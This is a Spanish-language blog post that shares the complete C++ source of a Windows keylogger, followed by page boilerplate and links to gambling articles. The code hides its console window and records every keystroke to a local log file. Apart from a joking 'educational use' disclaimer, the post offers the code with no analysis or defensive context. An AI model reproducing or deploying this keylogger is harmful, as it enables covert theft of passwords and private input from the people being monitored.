[c++] Keylogger

Haciendo una limpieza de disco duro, encontre el código fuente en c++ de un keylogger , no me acuerdo si lo he programado yo o lo encontré en algun lado, la fecha de modificación es del 2009.

No hagáis maldades , es para uso educativo jeje.

#include <iostream> 
using namespace std; 
#include <windows.h> 
#include <winuser.h> 
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
Stealth(); 
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); 
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", ""); 
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) 
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}

 

PandaGG
Lok'tar ogar

Dejar respuesta

Please enter your comment!
Please enter your name here

Sponsor

Últimos

GoGoCasino: A Deep Dive Into the Modern Player’s Playground

In the crowded digital landscape of online gambling, finding a platform that genuinely balances excitement, reliability, and user-centric design can feel like searching for...

Lucky Casino: A Comprehensive Review of Features, Gameplay, and Player Experience

In the crowded digital landscape of online gambling, finding a platform that genuinely balances excitement with reliability can feel like searching for a four-leaf...

Bonusy i promocje w kasynach internetowych

WprowadzenieW dzisiejszych czasach, kasyna internetowe oferują wiele atrakcyjnych bonusów i promocji, które przyciągają graczy z całego świata, w tym z Polski. Dla regularnych graczy,...

Bitcoin Poker: Die Zukunft des Spielens in der Schweiz

EinführungBitcoin Poker hat in den letzten Jahren an Popularität gewonnen, insbesondere unter den regelmäßigen Spielern in der Schweiz. Diese innovative Form des Pokers kombiniert...

Baccarat Regler och Spelsystem

IntroduktionBaccarat är ett av de mest populära kortspelen i världen, särskilt bland erfarna spelare. Spelet har en enkel struktur men erbjuder en djup strategisk...